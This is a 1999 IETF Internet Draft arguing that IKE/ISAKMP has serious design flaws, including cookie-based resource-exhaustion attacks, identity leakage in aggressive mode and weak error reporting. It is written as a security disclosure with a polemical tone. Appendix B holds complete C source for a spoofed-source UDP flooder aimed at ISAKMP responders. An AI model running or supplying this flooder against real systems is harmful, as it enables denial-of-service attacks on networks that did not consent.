Network Working Group W A Simpson
Internet Draft [DayDreamer]
expires in six months June 1999
IKE/ISAKMP Considered Dangerous
draft-simpson-danger-isakmp-01.txt
Status of this Memo
This document is an Internet Draft, and is in full conformance with
all provisions of Section 10 of RFC2026, except that the right to
produce derivative works is not granted.
Internet Drafts are working documents of the Internet Engineering
Task Force (IETF), its Areas, and its Working Groups. Note that
other groups may also distribute working documents as Internet
Drafts.
Internet Drafts are draft documents valid for a maximum of six
months, and may be updated, replaced, or obsoleted by other documents
at any time. It is not appropriate to use Internet Drafts as
reference material, or to cite them other than as "Work In Progress."
The list of current Internet Drafts can be accessed at
http://www.ietf.org/ietf/1id-abstracts.txt.
To view the list of Internet Draft Shadow Directories, see
http://www.ietf.org/shadow.html.
Note that the first paragraph of this section is a meaningless
bureaucratic requirement of the IESG. It is provided so as to
satisfy those bureaucratic requirements, and serves no other purpose
whatever. No assumption should be made that the author(s) have
assented to any of it.
Information as to any intellectual property rights, beyond the right
to redistribute this document and make use of it for the purposes of
an Internet Draft, should be sought in other parts of this document.
Distribution of this memo is unlimited.
Simpson expires in six months [Page i]
DRAFT IKE/ISAKMP Dangerous June 1999
Copyright Notice
Copyright (C) William Allen Simpson (1999). All Rights Reserved.
Abstract
IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP
[RFC-2408] protocol framework. The combination is fraught with
egregious fundamental design flaws. This document details a few of
the more easily exploitable problems.
Simpson expires in six months [Page ii]
DRAFT IKE/ISAKMP Dangerous June 1999
1. Motivation
IKE [RFC-2409] is a session-key exchange mechanism within the ISAKMP
[RFC-2408] protocol framework. While those documents were developed
by the United States National Security Administration (NSA) from the
initial Fortezza (used in the nefarious Clipper chip) within an ASN.1
framework, observers noted a number of problems.
This document details a few of the more easily exploitable problems;
including severe denial of service attacks, interoperability issues,
privacy information leaking, and other egregious fundamental design
flaws.
The author was prevented from publishing this information in the
IETF, as well as publication of the more capable and robust Photuris
specification [RFC-2522], until after publication of IKE/ISAKMP.
It is hoped that this document will stimulate discussion.
2. Cookies
While Karn and Simpson are credited (see [RFC-2408 page 12]) with the
cookie (anti-clogging token) concept taken from Photuris, the
IKE/ISAKMP version of cookies fails to meet the explicit requirements
set forth in Photuris:
"The computing resources themselves must also be protected against
malicious attack or sabotage.... Because of their use of CPU-
intensive operations, such as modular exponentiation, key
management schemes based on public-key cryptography are vulnerable
to resource clogging attacks.... These attacks are mitigated
through using time-variant cookies, and the elimination of
receiver state during initial exchanges of the protocol."
[Photuris-01 pages 2-3]
"It MUST NOT be possible for anyone other than the issuing entity
to generate cookies that will be accepted by that entity. This
implies that the issuing entity will use local secret information
in the generation and subsequent verification of a cookie."
[RFC-2522 page 19] also [Photuris-01 page 12]
"The Responder secret value that affects its cookies MAY remain
the same for many different Initiators. However, this secret
SHOULD be changed periodically to limit the time for use of its
cookies (typically each 60 seconds)." [RFC-2522 page 20]
"The Responder remains stateless until a shared-secret has been
Simpson expires in six months [Page 1]
DRAFT IKE/ISAKMP Dangerous June 1999
created." [RFC-2522 page 3]
"Otherwise, the Responder returns a Cookie_Response. Note that
the Responder creates no additional state at this time."
[RFC-2522 page 15] also [Photuris-01 page 12]
"The [Responder] cookie is not cached per Initiator to avoid
saving state during the initial Cookie Exchange." [RFC-2522 page
20]
2.1. Cookie Crumb Attack
Unfortunately, ISAKMP replaces the time-variant secret of Photuris
with a date and time stamp [RFC-2408 page 20], requires state in the
Responder, and leaves a "cookie crumb" for every connection attempt.
The cookie crumb attack is belatedly acknowledged in the
specification, but is described with inadequate hand-waving:
"... the anticlogging [sic] mechanism should be used in conjuction
[sic] with a garbage-state collection mechanism; an attacker can
still flood a server using packets with bogus IP addresses and
cause state to be created." [RFC-2408 page 13].
That text demonstrates utter failure to understand the rationale for
the Photuris anti-clogging mechanism design, despite several
repetitions in the Photuris specification: PREVENT THE CREATION OF
STATE DURING A RESOURCE CLOGGING ATTACK.
All tests have shown that garbage collection is not sufficient. One
common IKE/ISAKMP implementation used over 50MB of memory during a 1
minute test. Moreover, a simple program can consume 100% of the CPU,
degrading performance to the extent that outgoing packets stop
entirely. See Appendix B "Cookie Crumbs (Exploit)".
Furthermore, the problem is not limited to "bogus IP addresses".
Valid IP addresses cause the same symptoms.
Surprisingly, during testing, all variants of the exploit proved
successful:
single source address, single source port
single source address, random source port
random source address, single source port
random source address, random source port
This fundamental design flaw is endemic, and remediation will require
Simpson expires in six months [Page 2]
DRAFT IKE/ISAKMP Dangerous June 1999
significant protocol changes.
2.2. Cookie Jar Attack
Another significant problem is the lack of any resource limitation
feature, such as is found in Photuris. In particular, an adversary
can send a large number of ISAKMP proposals, collect the responses in
a "cookie jar", then send a large number of key exchange messages all
at once with apparently valid cookie values.
The Responder is swamped by simultaneously calculating the shared-
secrets and/or decrypting the nonces and/or verifying the identities.
These operations are computationally expensive.
Note that the adversary does not need to make any computations
itself. The key exchange and nonce payloads can be properly
formatted garbage.
This attack is especially effective for an evesdropper in the path
between a legitimate Initiator and Responder. The evesdropper can
simulate an entire valid range of source addresses, making detection
and avoidance of this attack very difficult.
This fundamental design flaw is inherent in the specification, and
remediation will require significant protocol changes.
2.3. Cookie Race Attack
A more subtle problem is a race condition between the phases after
the initial exchange of cookies. An evesdropper on a path between
the parties can observe a valid ISAKMP proposal header from the
Responder, add appropriate message fields with garbage contents, and
send the bogus message to the Responder, before the next correct
message arrives from the Initiator.
The Responder will waste significant time calculating a shared-
secret, and will not discover the substitution until later
verification fails.
The Initiator will never discover the substitution, as there is no
requirement that the Responder send any message to signal
verification failures. The Initiator will futilely retransmit.
This is a serious specification error, that affects interoperability
and makes conformance testing much more difficult.
Simpson expires in six months [Page 3]
DRAFT IKE/ISAKMP Dangerous June 1999
3. Aggressive Denial of Service
The "Aggressive" mode provides far worse security than the "Main"
mode of operation. Indeed, it is designed to allow more aggressive
denial of service attacks. Fortunately, fewer implementations have
included the aggressive mode.
3.1. Cookie Deficiency
Unlike main mode, aggressive mode eliminates the cookie exchange. In
the Internet threat environment, this opens the protocol to numerous
failures associated with normal datagram delivery, such as re-ordered
and duplicated datagrams. Resource clogging and flooding attacks are
extremely easy and may be mounted from anywhere in the Internet.
The Responder is swamped by simultaneously verifying the signatures
and/or decrypting the nonces. These operations are computationally
expensive.
Note that the adversary does not need to make any computations
itself. The key exchange, signature, and nonce payloads can be
properly formatted garbage.
This fundamental design flaw is inherent in the specification, and
remediation will require removal of the aggressive mode feature.
3.2. Revealed Identities
Unlike main mode, aggressive mode may not provide identity
protection. The identities are exchanged before a common shared
secret has been established.
Such revealed identities are long-term liabilities. Compromised
identities continue to be useful to an adversary until all
participants have revoked the associated permissions. Identity
attacks are extremely easy and may be mounted from anywhere in the
Internet.
Moreover, the revealed identities might be encrypted in other
exchanges. This provides a ripe opportunity for cryptanalysis of
those exchanges.
This fundamental design flaw is inherent in the specification, and
remediation will require removal of the aggressive mode feature.
Simpson expires in six months [Page 4]
DRAFT IKE/ISAKMP Dangerous June 1999
3.3. Futile Filters
Filtering the incoming messages, based on IP Source or Initiator
Identity, has been suggested for ameliorating the aggressive mode
vulnerabilities. This is quite ineffective against a determined
adversary.
Note that filtering is not required by the specification, and cannot
be depended upon as a security feature.
Filtering based on IP Source is undesirable, as this would exclude
mobile and DHCP users. Moreover, IP addresses have constrained
ranges and are easily guessable. This is far easier than a TCP
sequence number attack.
Once an identity has been revealed to an evesdropper, that identity
can be used from anywhere, without any more work. Using an identity
seen on a mobile unit in just one place could doom the whole network
behind the security firewall accessed by that mobile user (at least
until new identities are generated and old ones filtered).
This whole approach violates the fundamental principal set forth in
Photuris:
"Internet Security does not place any significance on easily
forged IP Source addresses. It relies instead on proof of
possession of secret knowledge: that is, a cryptographic key."
[Photuris-01 page 1]
Simpson expires in six months [Page 5]
DRAFT IKE/ISAKMP Dangerous June 1999
4. Quick Denial of Service
Although the "Quick" mode relies on the security of the "Main" mode
of operation, the optional form providing forward secrecy isn't very
quick, as it includes a computationally expensive exchange of new key
material. Unfortunately, implementation of quick mode with forward
secrecy is required. [RFC-2409 page 17]
An interloper can simply record the packets and replay them later.
The peer is swamped by simultaneously calculating the shared-secrets
and/or decrypting the nonces and/or verifying the identities.
This serious design flaw can be ameliorated by removal of the quick
mode with (imperfect) forward secrecy feature.
5. More Obvious Flaws
5.1. Poor Specification
A great many of the problematic specifications are due to the ISAKMP
framework. This is not surprising, as the early drafts used ASN.1,
and were fairly clearly ISO inspired. The observations of another
ISO implementor (and security analyst) appear applicable:
"The specification was so general, and left so many choices, that
it was necessary to hold "implementor workshops" to agree on what
subsets to build and what choices to make. The specification
wasn't a specification of a protocol. Instead, it was a framework
in which a protocol could be designed and implemented."
[Folklore-00]
The ISAKMP framework relies on a "Domain Of Interpretation" (DOI) for
the actual details.
5.2. Option Overload
A distinguishing characteristics of IKE/ISAKMP is the addition of new
modes and options to the underlying framework. Yet, important
features such as forward secrecy, identity privacy protection, and
resource clogging defenses are merely optional.
Scalability is never considered. Simplicity is utterly disregarded.
The plethora of options severely complicates protocol implementation,
and makes conformance testing much more difficult.
Simpson expires in six months [Page 6]
DRAFT IKE/ISAKMP Dangerous June 1999
5.3. Error (Non-)Reporting
Inclusion of error notification payloads can be anywhere within
various modes and phase exchanges, or in a separate "Informational
Exchange", or may not be included at all. There are no specified
actions to be taken when such a notification is received. "Local
security policy dictates the action if an error occurs during these
messages." [RFC-2408 pages 52,53,54,55,57,74].
This inadequate and inconsistent error reporting is inexcusable,
especially in a security specification:
"The standard should describe responses to behavior explicitly
forbidden or out of the boundaries described by the
specification....
"The specification should describe actions taken when a critical
resource or a performance-scaling limit is exceeded. This is
necessary for cases where a risk of network degradation or
operational failure exists. In such cases, a consistent behavior
between implementations is necessary." [RFC-2360 pages 6-7]
This is a serious specification error, that affects interoperability
and makes conformance testing much more difficult.
5.4. Revealing Field Sizes
Another serious specification flaw may make hiding of various
identifying message fields less effective. Although the "payload
chaining" framework obscures the field relationships from reviewer
scrutiny, it appears that only the contents of these protected fields
are opaque. The size of the fields is transparent (transmitted in
the clear).
In particular, the lengths of user identities are revealed. Where IP
addresses are used, the 4 byte length is a dead giveaway.
This has the obvious benefit to an adversary. Knowing the lengths
allows targetting of attacks, and eases verification of success.
5.5. Unverified Fields
Many parts of the message exchanges are not authenticated. The field
sizes are not always verified. Some fields are authenticated in some
phases, but not in others. The ordering of fields can vary.
Simpson expires in six months [Page 7]
DRAFT IKE/ISAKMP Dangerous June 1999
Although the "payload chaining" framework obscures the field
relationships from reviewer scrutiny, it appears that such fields are
vulnerable to reflection, re-ordering and replay attacks.
5.6. Subliminal Channels
Where message fields are not authenticated, an unscrupulous
implementor or trojan horse implementation can transmit secret
information in those fields.
6. Publication Delay
Since December 1995, a number of internet-drafts related to Internet
Protocol Security have been awaiting official publication. The
Internet Engineering Steering Group (IESG) made the unprecedented
decision to delay publication of other work in any form, until the
chartered Working Group had completed the next revision of their
documents. Usually, Experimental work is published prior to a
Proposed Standard. This internal IESG decision was not officially
announced until after a formal appeal of the years of interminable
delay. See Appendix A.1.
Unfortunately, any delay of the Working Group documents meant that
publication of the other work would be delayed as well. This had the
effect of stifling overt criticism of the documents, despite their
obvious faults.
Eventually, in November 1998, the revised IP Security documents were
published. It took several more months before publication of other
specifications was permitted, and not all of them have been allowed.
See Appendix A.2 and A.3.
In the meantime, vast sums of money have been wasted implementing and
testing the overly complicated and poorly specified IKE/ISAKMP.
Simpson expires in six months [Page 8]
DRAFT IKE/ISAKMP Dangerous June 1999
A. Responses to Appeals
A.1. Publication Delayed
Date: Fri, 25 Jul 1997 19:16:25 -0700
To: "William Allen Simpson" <wsimpson@greendragon.com>
From: Fred Baker <fred@cisco.com>
Subject: Response to Appeal
Cc: ietf@ietf.org
This is to formally respond to your appeal to and question of the chair,
regarding the delayed publication of the two internet drafts as
Experimental RFCs:
"ICMP Security Failures Messages", 04/30/1996,
<draft-simpson-icmp-ipsec-fail-02.txt>
and
"Internet Security Transform Enhancements", 04/30/1997,
<draft-simpson-ipsec-enhancement-01.txt>
The sense of the IESG, and apparently your sense in naming them, is that
both of these documents relate directly to and overlap with work
being done
in the IPSEC Working Group. In the IETF Plenary session in San Jose,
and in
various emails, the Security Area Director has stated that,
regardless of
the intended status of the draft, drafts that are closely related to the
work currently being done in the IPSEC Working Group will not be
published
until the principal output of that working group has been published. This
policy was propounded because some factions in that working group were
telling potential customers that their approach was in fact the IETF
approach, and the IESG felt that giving them an RFC number to quote would
give them additional ammunition with which to confuse the marketplace.
Note that, while the policy is the Security Area Director's, it was
propounded with the explicit concurrence of the IESG.
You also point out in your appeal that the POISED documents indicate
that a
document which fails to achieve Proposed Standard status may still be
published as Experimental, and view our delay as violating this
guidance. I
believe you are mistaken; while POISED permits such a publication, POISED
does not require it to be done on any given timetable, and does not
preclude the IESG from an action such as it has taken in this case. The
delay in publication of your documents (and others) has not precluded
people from using the documents, only from marketing them to the ignorant
as RFCs and therefore standards.
Yes, I will agree - hastily - that anyone who is informed will know that
RFCs are archival documents, and not automatically standards.
However, you
know as well as I that this fact is frequently lost in the
translation from
engineering to marketing, and in this case the marketing issue has
been a
Simpson expires in six months [Page 9]
DRAFT IKE/ISAKMP Dangerous June 1999
serious factor.
I am sorry that this delay has upset you. The IESG is not pleased
with the
progress of the IPSEC Working Group, which has been a difficult
environment
for everyone involved in it. We hope that the new chairs will be able to
bring this work to closure and move the working group on to more
productive
efforts.
A.2. Publication Granted
Date: Tue, 16 Feb 1999 16:31:18 -0500 (Eastern Standard Time)
From: Steve Coya <scoya@ietf.org>
To: RFC Editor <rfc-ed@ISI.EDU>
cc: iesg@ietf.org, wsimpson@greendragon.com
Subject: Photuris and ICMP documents
The IESG has no problem with the publication of the following
documents as
Experimental RFCs:
o The Photuris Session Key Management Protocol
<draft-simpson-photuris-18.txt>
o Photuris Schemes and Privacy Protection
<draft-simpson-photuris-schemes-05.txt>
o ICMP Security Failures Messages
<draft-simpson-icmp-ipsec-fail-02.txt>
A.3. Publication Refused
Date: Tue, 16 Feb 1999 17:07:50 -0500 (Eastern Standard Time)
From: Steve Coya <scoya@ietf.org>
Reply-To: Steve Coya <scoya@ietf.org>
To: RFC Editor <rfc-ed@ISI.EDU>
cc: iesg@ietf.org, wsimpson@greendragon.com
Subject: Re: draft-simpson-ipsec-enhancement-01.txt to Experimental
Greetings,
The IESG consensus requests that Internet Security Transform Enhancements
<draft-simpson-ipsec-enhancement-01.txt> NOT be published as an
Experimental RFC as this document adds sequence numbers to the old
and obsolete AH and ESP transforms. In the case of ESP, it does so
in an
incompatible way. Publication of these documents could easily confuse
implementors of IPSEC.
The IESG will reconsider publication if this document is updated as
needed
and resubmitted.
Simpson expires in six months [Page 10]
DRAFT IKE/ISAKMP Dangerous June 1999
B. Cookie Crumbs (Exploit)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#define USE_IP_SOURCE "10.10.10.10"
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD,
BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 72 /* first isakmp message length */
#define MAGIC 0x3
#define COUNT 0x1
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_cookies(int, u_long, u_long, u_short, u_short, u_short);
/* Initiator Packet for ISAKMP Main Mode */
char isakmppacket[PADDING] = {
0x95, 0xfe, 0x04, 0x54, 0xa9, 0x11, 0xba, 0xe7,
0, 0, 0, 0, 0, 0, 0, 0,
0x01, 0x10, 0x02, 0, 0, 0, 0, 0,
0, 0, 0, 0x48, 0, 0, 0, 0x2c,
0, 0, 0, 1, 0, 0, 0, 1,
0, 0, 0, 0x20, 1, 1, 0, 1,
0, 0, 0, 0x18, 1, 1, 0, 0,
0x80, 1, 0, 1, 0x80, 2, 0, 1,
0x80, 3, 0, 1, 0x80, 4, 0, 1
};
Simpson expires in six months [Page 11]
DRAFT IKE/ISAKMP Dangerous June 1999
int main(int argc, char **argv)
{
int one = 1, i, rip_sock, x=1, id=1;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
sizeof(one))
< 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 2) {
usage(argv[0]);
}
if (!(dst_ip = name_resolve(argv[1]))) {
exit(1);
}
dst_prt = 5000;
for (;;) {
#ifdef USE_IP_SOURCE
src_ip = inet_addr(USE_IP_SOURCE);
#else
src_ip = ((arc4random() & 0xdfff) << 16)
+ arc4random();
#endif
src_prt = arc4random();
send_cookies(rip_sock, src_ip, dst_ip, src_prt, dst_prt, id++);
}
return (0);
}
/*
* Send ISAKMP initiator Main Mode packet.
*/
void send_cookies(int sock, u_long src_ip, u_long dst_ip, u_short
src_prt,
u_short dst_prt, u_short id)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol
structure */
u_int32_t cookiehalf;
Simpson expires in six months [Page 12]
DRAFT IKE/ISAKMP Dangerous June 1999
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the
beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
byte = 0x45; /* IP version and header
length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total
length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(id); /* IP id */
p_ptr += 2;
/* *((u_short *)p_ptr) |= FIX(IP_MF); */ /* IP frag flags and
offset */
p_ptr += 2;
*((u_short *)p_ptr) = 247; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by
kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination
port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING + 8); /* Length */
p_ptr += 4;
cookiehalf = arc4random();
bcopy(&cookiehalf, isakmppacket, 4);
cookiehalf = arc4random();
bcopy(&cookiehalf, isakmppacket + 4, 4);
bcopy(isakmppacket, p_ptr, PADDING);
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct
sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
Simpson expires in six months [Page 13]
DRAFT IKE/ISAKMP Dangerous June 1999
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr,
host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s dst_ip\n",
name);
exit(0);
}
Security Considerations
Any site that has deployed IKE/ISAKMP SHOULD revert to manual keying
(or to Photuris where available).
The egregious flaws discussed were observed by experienced network
protocol designers with an interest in cryptography, rather than by
cryptographers with an interest in network protocols. It is
anticipated that the design will be more thoroughly analysed in
subsequent papers.
Simpson expires in six months [Page 14]
DRAFT IKE/ISAKMP Dangerous June 1999
Acknowledgements
A number of folks have contributed anonymously to this document.
This incorporates many private discussions that occurred during
1996-1998.
References
[Folklore-00]
Perlman, R., "Folklore of Protocol Design", draft-iab-
perlman-folklore-00.txt, Work In Progress, January 1998.
[Photuris-01]
Karn, P., and Simpson, W., "The Photuris Session Key
Management Protocol", draft-karn-photuris-01.txt, Work In
Progress, March 1995.
[RFC-2360] Scott, G., Editor, "Guide for Internet Standards
Writers", BCP 22, (US) Defense Information Systems
Agency, June 1998.
[RFC-2408]
[RFC-2409]
[RFC-2522] Karn, P., and Simpson, W., "Photuris: Session-Key
Management Protocol", March 1999.
[Schneier95]
Schneier, B., "Applied Cryptography Second Edition", John
Wiley & Sons, New York, NY, 1995. ISBN 0-471-12845-7.
Simpson expires in six months [Page 15]
DRAFT IKE/ISAKMP Dangerous June 1999
Contacts
Comments about this document should be discussed on the ietf@ietf.org
mailing list.
Questions about this document can also be directed to:
William Allen Simpson
DayDreamer
Computer Systems Consulting Services
1384 Fontaine
Madison Heights, Michigan 48071
wsimpson@UMich.edu
wsimpson@GreenDragon.com (preferred)
Full Copyright Statement
Copyright (C) William Allen Simpson (1999). All Rights Reserved.
This document and translations of it may be copied and furnished to
others, and derivative works that comment on or otherwise explain it
or assist in its implementation may be prepared, copied, published
and distributed, in whole or in part, without restriction of any
kind, provided that the above copyright notice and this paragraph are
included on all such copies and derivative works. However, this
document itself may not be modified in any way, except as required to
translate it into languages other than English.
This document and the information contained herein is provided on an
"AS IS" basis and the author(s) DISCLAIM ALL WARRANTIES, EXPRESS OR
IMPLIED, INCLUDING (BUT NOT LIMITED TO) ANY WARRANTY THAT THE USE OF
THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED
WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.
Simpson expires in six months [Page 16]